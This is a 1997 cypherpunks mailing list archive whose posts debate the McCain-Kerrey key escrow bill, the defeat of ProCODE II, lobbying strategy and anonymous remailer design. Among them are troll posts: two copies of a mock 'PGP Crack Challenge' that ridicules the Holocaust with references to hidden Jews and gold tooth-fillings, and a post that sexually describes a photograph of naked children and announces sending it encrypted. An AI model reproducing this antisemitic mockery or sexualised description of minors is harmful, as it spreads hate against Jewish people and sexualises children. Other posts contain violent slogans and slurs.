There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 20 Jun 1997 09:21:21 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619210738.03c13fb0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:18 PM 6/19/97 -0400, Declan McCullagh wrote:

>morning -- and instead approved a bill introduced
>earlier this week that creates new Federal crimes for
>some uses of crypto and an all-but-mandatory key
>escrow infrastructure.

Those of us who choose not to use federal networks and federal CAs will be 
unaffected.  I prefer cheap foreign CAs myself.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6nX2IVO4r4sgSPhAQEJUgP/SgSst6TmcmX2XSPoLlNe66oLh+RbZWC7
NJLoVU2JuahdqFdQOBpt42sYmV1K1tRRv2NK0M4twbbX9xygn1meGPciS0YRH5bE
Mf1iss3qtc/PDJ6w2Dyr1+Q8wc1T1f+HkJXC3IsJlVWm+S13EpL2Cgt/62yMShsA
R7XJC4p3WcA=
=/SS3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 20 Jun 1997 10:03:12 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619211340.006f62d4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:18 PM 6/19/97 -0400, Declan McCullagh wrote:
>After the vote, advocacy groups tried to put a good
>face on the devastating loss -- and an expensive
>defeat it was. After 15 months of lobbying, countless
>hearings, backroom dealmaking, and political capital
>spent, ProCODE is gutted and dead. "There's another
>day. We have confidence in the system," said BSA's
>Robert Holleyman. CDT's Jerry Berman said, "What is
>encouraging is that unlike the CDA other committees
>are getting involved."

Anyone mentally retarded enough to expect a congresscritter to protect one's 
rights deserves everything they get.  "Advocacy groups" could have better 
spent their time litigating crypto and encouraging the use of strong crypto 
by themselves and their supporters.

DCF


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Fri, 20 Jun 1997 09:26:35 +0800
To: cypherpunks@toad.com
Subject: New Additions to WOW-COM(TM)!
Message-ID: <199706200113.VAA15196@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



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--------------------------
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--------------------------
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        * Competitive Market Issues (e.g., Universal Service, Interconnection, Access Charge Reform)
        * Federalism and State Issues (e.g., tower siting and land use regulation by states and localities)
        * Summarized CTIA's stated positions

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-----------------------------------------------------
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-----------------------------------------------------
        The transcript of "Wireless E911 and Beyond", a presentation by CTIA's President/CEO, Mr. Thomas E. Wheeler delivered earlier this week before the National Emergency Number Association, is currently posted on WOW-COM(TM)'s main page under "What's Hot!"  He describes the real problems in implementing Wireless E911. Take a look!


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Sincerely,

The WOW-COM(TM) Team
WOW-COM(TM) - CTIA's  free Website for the Wireless Industry







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 12:54:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: War has been Declared
In-Reply-To: <199706192251.PAA01466@zipcon.net>
Message-ID: <v03102808afcfb94db900@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




One of the reasons I've been so skeptical that legislative fixes will work
to protect our access to free and unfettered strong, unbreakable
cryptography is because I knew strong crypto *really would* do the things
McCain, Kerrey, Hollings, Freeh, Clinton, Reno, and all of those folks are
fretting about.

I mean, come on! This is what crypto anarchy is all about!

With it will of course come unbreakable communications channels for bank
robbers, terrorists, child pornographers, money launderers, and all the
rest of the bogeymen. How could it be otherwise?

Ditto for untraceable digital cash. Chaum may waffle on this issue, and
even say completely unfounded things about how maybe there will be ways to
separate "good" untraceable transaction capabilities from "bad" ones, but
we all know this is just shuck and jive.

Ditto for anonymous remailers. Ditto for data havens. Ditto for DC-Nets.
Ditto for all the good stuff.

We know it. Some of them know it. And claiming that this stuff won't happen
is disingenuous.

(Off point a bit. I was just looking at some of the analyses of the S.909
McCain-Kerrey language, the one that passed today, and was struck by how
_dangerous_ some of the analyses are. They critique M-K on some grounds of
flawed linkages between CAs and keys, and so on. Well, would the underlying
problems with M-K be fixed if these linkages were fixed? Not to me. The
only way to defeat M-K is to throw it out completely, not quibble on fine
points.)

Anyway, they're figuring out what we've known for several years, even
longer. And they're lashing out.

Pro-CODE never had a real chance. No legislature is going to pass a law
making crypto anarchy, black markets, and unfettered pornography a reality.

We have to discard concern for "politics" and refocus our efforts on our
original strength: monkeywrenching the system with technology.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 13:16:28 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill (fwd)
Message-ID: <Pine.GSO.3.95.970619215942.16667A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 19 Jun 1997 19:17:35 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Declan McCullagh <declan@well.com>, sameer <sameer@c2.net>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill

At 3:17 PM -0700 6/19/97, Declan McCullagh wrote:

>Yes, it would have been possible for any and all senators on the commerce
>committee to vote against *any and all* crypto bills that had key recovery
>provisions.

Um, ok. Can you explain your view?

Poly Sci 101: McCain is the chairman of the committee, and as a result
yields a lot of power over the agendas of all the committee members.  When
a member crosses the chairman,  he or she takes a risk of not getting
support for his or her priorities.  If the chairman doesn't support your
bill, it ain't gonna pass. Period.

Chairman, on the other hand, don't like to loose.  If they bring a bill to
a vote, it's because they know they can win either by passing the bill or
making a political statement. And the chairman holds all the cards in the
deck.

If a committee member disagrees with the chairman, and takes a risk by
voting that way, he or she needs to have something to be *for*.  Otherwise,
he or she is just going to appear to be a big pain in the ass. It's very
difficult in the real world to be *against* something but *for* nothing.

Like it or not , and no matter how much we yell and scream about it, most
members of Congress do not fully agree with your position and do not
support complete and total de-control of encryption. While a lot of them
support the SAFE approach (which I know you don't think goes far enough
either) - neither the Commerce Committee members, or anyone else for that
matter, are going to just stand up and say NO to their Chairman without
having anything to be *for*.

This process is raw and smelly, I know, but it's also called Democracy.

I am curious to hear your view on this.

But before we get all caught up in the old jihad between "the purists" and
the "pragmatists", just think about this for a moment:  If we are going to
have a prayer of getting out of this Congress without getting stuck with
manditory key recovery, we have to at least recognize where we fit in to
the overall equation and how the system actually works.  We can do a lot to
impact the outcome of this issue -- but not if we are operating in a
different area code from reality.

Jonah



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 20 Jun 1997 04:59:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <m0wenxZ-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>Except for the additional server-to-server communications necessary to
>broadcast new messages into the system, the bandwidth utilization is
>comparable to sender-anonymous remailers; it scales linearly as the
>number of parties involved in the delivery of a particular message.

How are messages selected?  It seems that the recipient needs to know
the message IDs of all messages in the system, and must have a way to
identify his messages.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 20 Jun 1997 14:32:29 +0800
To: declan@well.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <199706200615.XAA25232@f10.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




----Original Message Follows----

In the end, it was child pornography that derailed
encryption legislation in the U.S. Senate and dealt a
bitter defeat to crypto supporters. Spurred by the
chairman's denunciations of cyberporn, a majority of
the Senate Commerce Committee rejected ProCODE II this
morning -- and instead approved a bill introduced
earlier this week that creates new Federal crimes for
some uses of crypto and an all-but-mandatory key
escrow infrastructure.

Sen. John McCain (R-Ariz.), committee chair and chief
sponsor of the measure, led the attack, saying
Congress must "stop child pornography on the Internet
and Internet gambling. These legitimate law
enforcement concerns cannot and should not be
overlooked or taken lightly."

He warned that allowing encryption to be exported
would permit child pornographers to use it. "If it's
being used for child pornography? Are we going to say
that's just fine? That's it's just business? I don't
think so."

Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
saying she doesn't want "children to have access to
pornography or other bad types of information."

Sen. John Ashcroft (R-MO) tried to disagree. "It's like
photography. We're not going to [ban] photography if
someone takes dirty pictures." (At this point, one of
the more deaf committee members asked, "Pornography?
Are we going to ban pornography?")

Between the child-porn attack team of senators McCain,
Hollings, Kerry, and Frist, ProCODE sponsor Sen. Sen.
Conrad Burns (R-Mont.) didn't stand a chance. Hunched
over the microphone, Burns was outmaneuvered,
outprepared, and outgunned on almost every point.

Nevertheless, he introduced ProCODE II -- a so-called
compromise measure -- and was defeated 8-12. The
changes from ProCODE I gave the NSA, FBI, and CIA
oversight over crypto exports and permitted only the
export of up to 56-bit crypto products without key
escrow. Products of any strength with key escrow could
be exported freely.

That's hardly a pro-privacy, pro-encryption bill, says
the ACLU's Don Haines. "The ProCODE vote shows the
political bankruptcy of the pro-business agenda. Even
in the Commerce Committee, commerce arguments didn't
work," he says.

The committee also approved amendments proposed by
Kerry that would give jurisdiction over crypto exports
to a nine-member "Encryption Export Advisory Board."
The panel would "evaluate whether [a] market exists
abroad" and make non-binding recommendations to the
president.

Frist also introduced amendments to the McCain-Kerrey
bill that were accepted:

* Requiring that not any Federally-funded
  communications network, but only ones established "for
  transaction of government business" would use key
  escrow -- thereby jumpstarting the domestic market.

* "Requirements for a subpoenas [sic] should be no
  less stringent for obtaining keys, then [sic] for any
  other subpoenaed materials."

* Key recovery can mean recovering only a portion of
 the key "such as all but 40 bits of the key."

* NIST after consulting with DoJ and DoD will "publish
  a reference implementation plan for key recovery
  systems;" the law will not take effect until the
  president tells Congress such a study is complete.

After the vote, advocacy groups tried to put a good
face on the devastating loss -- and an expensive
defeat it was. After 15 months of lobbying, countless
hearings, backroom dealmaking, and political capital
spent, ProCODE is gutted and dead. "There's another
day. We have confidence in the system," said BSA's
Robert Holleyman. CDT's Jerry Berman said, "What is
encouraging is that unlike the CDA other committees
are getting involved."

Of course, the involvement of other committees is only
likely to add more key escrow provisions and
limitations on crypto-exports. ProCODE's replacement
-- the McCain-Kerrey bill -- now goes to the Senate
Judiciary committee, and its chairman has already been
talking about mandating key escrow in some
circumstances...

-Declan

====================================================================

Maybe I'm just paranoid, but doesn't this mean that it is now illegal to 
use anything over 56 bits in the US, and doesn't this give the US 
Government the unofficial green light to start cracking down on those of 
us that use encryption? All they gotta say is that they suspected that 
we were dealing in child pornography, based on the fact that they 
monitored encrypted messages leaving from our addresses? It's not that 
far of a leap in possibilities after everything else they've done. This 
is starting to get scary ladies and gentleman. I use 2048 bit 
encryption, does that make me a porn lover because I use that heavy of 
encryption,and encryption period?  I feel some very bad days coming down 
the pike. I just hope that we can do something to stem the tide.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 20 Jun 1997 14:54:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <3.0.32.19691231160000.006daa00@best.com>
MIME-Version: 1.0
Content-Type: text/plain



yes, well McCain is pretty obvious - and Kerry is on the committee but so
what?
I was wondering what would motivate Kerrey-with-an-e and to whom he is
beholden.
Perhaps you could illuminate for us...

At 02:14 PM 6/19/97 -0400, you wrote:
>I suggest you wonder about McCain and Kerry-without-the-e.
>
>-Declan
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 15:13:42 +0800
To: "David Downey" <digital_matrix@hotmail.com>
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706200615.XAA25232@f10.hotmail.com>
Message-ID: <3.0.2.32.19970619235211.006df204@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:15 PM 6/19/97 PDT, David Downey wrote:
>Maybe I'm just paranoid, but doesn't this mean that it is now illegal to 
>use anything over 56 bits in the US, and doesn't this give the US 
>Government the unofficial green light to start cracking down on those of 
>us that use encryption? 

No.  It means that a couple of Senators don't like free speech and privacy,
and there have been Senators who disliked those before.
If the whole Senate passes the bill, and the House, and the President
signs it, then there'd be a law we'd have to fight in court,
depending on what it said by the time it was done.
But that's a long way off (probably.)  Of course, if the bill does
get through the House and Senate, Clinton's sure to sign it;
he's _not_ a liberal, just a big-spending Democrat, and seems to
consistently support anti-privacy decisions, and if there's enough
wind blowing in the direction to get the Congress to agree on it,
he'll be following it.

Meanwhile, the US Gov't can already start blaming crypto users for being
Commie-supporting money-laundering assassin-funding child pornographers,
if it thinks it's got a case.  Don't need any new laws for that,
though there aren't any solid court decisions on whether they can
force someone to reveal their passwords, and they risk being harassed about
false arrest and such if they maliciously accuse someone.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Fri, 20 Jun 1997 12:27:20 +0800
To: Charles Platt <declan@well.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <33A9D7F3.BACEB3DA@healey.com.au>
Message-ID: <Pine.SUN.3.91.970620000629.13057D-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Benjamin Grosman wrote:

> yet another example of those ill-educated in
> a particular matter succumbing to either a knee-jerk political reaction,

Agencies such as the FCC, FAA, and FDA were created to make policy
recommendations in technical areas were politicians aren't qualified. If
we're really going to have government stomping all over the Internet, it's
crazy that there isn't an appropriate agency to make appropriate policy
recommendations in this area, which is more technical and developing more
rapidly than fields such as aviation or food&drug, where senators and
congresspeople generally accept advice from presidential appointees who 
collaborate with industry.

I'm not saying I _want_ an agency making decisions for us; only that it 
would be slightly less hideously exasperating than our present situation, 
where technoliterates are being ruled by technoilliterates.

The FCC actually made some halfway decent decisions determining standards
in broadcasting, before the agency became terminally incestuous and
corrupt. We might get two or three good years out of a Federal Internet
Agency, depending who was appointed to run it. 

--CP





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 16:15:41 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill (fwd)
In-Reply-To: <Pine.GSO.3.95.970619215942.16667A-100000@well.com>
Message-ID: <3.0.2.32.19970620003622.0074dd54@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:59 PM 6/19/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Thu, 19 Jun 1997 19:17:35 -0400
>From: Jonah Seiger <jseiger@cdt.org>
>To: Declan McCullagh <declan@well.com>, sameer <sameer@c2.net>
>Cc: fight-censorship@vorlon.mit.edu
>Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto
Bill
[...]
>But before we get all caught up in the old jihad between "the purists" and
>the "pragmatists", just think about this for a moment:  If we are going to
>have a prayer of getting out of this Congress without getting stuck with
>manditory key recovery, we have to at least recognize where we fit in to
>the overall equation and how the system actually works.

Where do people get the bizarre notion that we will get out of the crypto
issue without mandatory key recovery? You may be able to stall it for a
while, but there is no way it can be prevented.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 16:07:41 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks write code
Message-ID: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



When I joined the Cypherpunks mailing list some years ago, few people even
considered a legislative fix to the crypto issue. After all, crypto-anarchy
is incompatible with the legislative process. Cypherpunks couldn't care
less what happens in DC. They are banning crypto? What else is new?

Cypherpunks know that governments do not like crypto. As crypto-anarchy
spreads, they will like it even less. The attempt to get governments to
sanction crypto is therefore futile. In the end, all non-GAK crypto will be
banned.

But who cares? Cypherpunks write code! We know that we need to get the
tools out. Deployment wins.

So let's not get hung up on the events in DC. Don't call your Senator.
Don't waste time reading "policy posts". Write code!

We have monumental tasks ahead of us. Anon remailers exist today. A way of
reliably receiving anon email will be deployed this year. Web anonymizers
that truly conceal your identity are in limited beta. Fully anonymous ecash
will be available soon. DC nets should be deployed early next year. [But
don't let this stop you from working  on DC nets. Modern designs only
double the message bandwidth. This is very reasonable. We need more
implementations].

There is much work still to be done. We need stego front ends for many of
these services. And credentials need to be implemened. A task that hasn't
even been touched yet.

Cypherpunks write code,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 19:12:58 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  Bill
Message-ID: <Pine.GSO.3.95.970620035637.25336B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 03:20:40 -0400
From: "Shabbir J. Safdar" <shabbir@vtw.org>
To: Jon Lebkowsky <jonl@onr.com>, "--Todd Lappin-->" <telstar@wired.com>,
    Jonah Seiger <jseiger@cdt.org>, Declan McCullagh <declan@well.com>,
    sameer <sameer@c2.net>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  Bill

A little more of polisci 101:

These 8 members of Congress didn't just vote in our favor here, they've
placed crypto on an agenda at a higher level than something else they
wanted to get through the committee.  Imagine being Sen. Burns, and knowing
that you have just placed your own agenda at risk in order to stand up for
crypto, knowing there's a non-neglible chance you might lose.

By sheer definition, you've placed crypto on your agenda higher than
something else.  Not only am I really damn happy to see this, but very
happy to know that 8 senators think so little of the key recovery that
they'd jeapordize their own agendas for it.

We owe them a great big debt of thanks, not the derision that goes with
Alice in Wonderland political punditry.

-S

At 8:40 PM -0500 6/19/97, Jon Lebkowsky wrote:
>At 06:09 PM 6/19/97 -0800, --Todd Lappin--> wrote:
>>At 3:17 PM -0800 6/19/97, Jonah Seiger wrote:
>>>
>>>But before we get all caught up in the old jihad between "the purists" and
>>>the "pragmatists", just think about this for a moment:  If we are going to
>>>have a prayer of getting out of this Congress without getting stuck with
>>>manditory key recovery, we have to at least recognize where we fit in to
>>>the overall equation and how the system actually works.
>>
>>
>>I'd agree with this.
>>
>>The reality is, we're in a bad, bad pickle right now.  We've gone from a
>>situation in which we're debating the finer points of a bill which probably
>>would have helped us *overall*, to trying to defend ourselves from a bill
>>that would make things far, far WORSE than they are right now.
>>
>>This is triage.
>>
>>S. 909 is the devil.
>
>Yeah, it's frustrating. One problem with the bill is that the average
>person, or legislator for that matter, who reads the bill might not
>understand why it's a problem.  Crypto should be better understood.  I
>mentioned an imperfect analogy to Jonah today, but I think it works to
>convey the problem: it's like saying you can't live here unless you give
>the police access to a key to your house.  And the immediate problems with
>that should be obvious: what if someone else gets access to the key where
>you've stored it for the cops?  And what if the cops become storm troopers?
> When more copies of your key exist beyond your control, however supposedly
>secure they may be, that security is weaker than it would be if you
>controlled all the keys yourself.
>
>Oh, well.
>
>What's next on the menu?
>
>
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>Jon Lebkowsky     *     jonl@onr.com     *     www.well.com/~jonl
>President, EFF-Austin
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 20 Jun 1997 10:27:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <199706200219.EAA06517@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



ghio@temp0099.myriad.ml.org (Matthew Ghio) wrote:

> You could also use MD5 hashes of the messages, in which case a list of
> 1000 message-IDs would take only 16K.  (In the unlikely event of a hash
> collision you could download those two messages seperately.  Unless the
> number of messages was huge (millions), you could probably get away with
> using only a 32 or 64-bit hash function.)

Okay.  Let's suppose that there are 10,000 messages (more realistic for a
large remailer i think)  And I am going to spread it over five servers,
And I use a 32-bit hash function (one in four billion chance I get someone
else's message)

First I download the list of Message IDs/Hashes. (40,000 bytes)
Then I download the recipient list. (another 40,000 bytes)
I find a message for me.  Let's suppose the messages are 20K each.
I send each server a list of the messages I want (10,000 bits, which is
1,250 bytes each, so 6,250 bytes total)
Finally, I get back five 20K messages from each of the five servers.

So that's a total of 80K to download the IDs/recipients lists, 6.25K to
upload the requests, and 100K to download the message pieces, to read my
20K email.  I guess that could work.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.J. Parker <cjp@dev.null>"@wombat.sk.sympatico.ca
Date: Fri, 20 Jun 1997 18:45:26 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201028.EAA20037@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed by their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.J. Parker <cjp@dev.null>"@wombat.sk.sympatico.ca
Date: Fri, 20 Jun 1997 18:44:55 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201028.EAA20039@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed by their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 20 Jun 1997 07:20:23 +0800
Subject: Re: E-Cash
In-Reply-To: <Pine.A41.3.95.970619094414.106054Y-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <Pine.LNX.3.93.970620045928.103C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Graham-John Bullers wrote:

> On Thu, 19 Jun 1997, Huge Cajones Remailer wrote:
> 
> I think Vulis needs each of us to send ten copies of this back to him.

You of cause have proof that it is Vulis don't you.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 20 Jun 1997 07:40:57 +0800
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <Pine.LNX.3.93.970620052141.103G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Declan McCullagh wrote:

[...]

> * Requiring that not any Federally-funded
>   communications network, but only ones established "for
>   transaction of government business" would use key
>   escrow -- thereby jumpstarting the domestic market.

Would this include militry networks?  I'm shaw the militry securaty
experts are going to be very happy about being required to eskow there
keys.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Fuck Jesus"<fj@dev.null>
Date: Fri, 20 Jun 1997 20:49:25 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201219.GAA23393@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



  In celebration of the DES Challenge success, I am sending out copies
of a 1983 Time-Life picture of a naked boy and girl playing in a risque
position that indicates the boy could have his penis inserted in the
girl's rear.
  In celebration of the crack of weak financial cryptography that
leaves businesses vulnerable because of the U.S.'s ignorant and fascist
crypto policy, I am encrypting the file using a 4096-bit key produced
with an encryption package I downloaded off of a European ftp site.

  So, while some thief is using a computer to steal your life savings,
I will be sitting back drinking champagne and enjoying pictures of
naked children that Time-Life profited from by selling them to middle
class Americans in the 80's.
  I am sorry that I feel the need to encrypt the picture with strong
cryptography acquired from a foreign source, but I am just a normal
citizen and not a major corporation, so I would go to jail for sharing
this with you even though I am not profiting from it as they did.


-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: x+sKjpaOsVgSNXEtf9IIyu8BCbLD5Hof

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 20 Jun 1997 21:33:01 +0800
To: vorlon.mit.edu.shabbir@vtw.org
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <199706201325.GAA17048@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh:
> From: "Shabbir J. Safdar" <shabbir@vtw.org>

> Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  B
ill
>
> A little more of polisci 101:
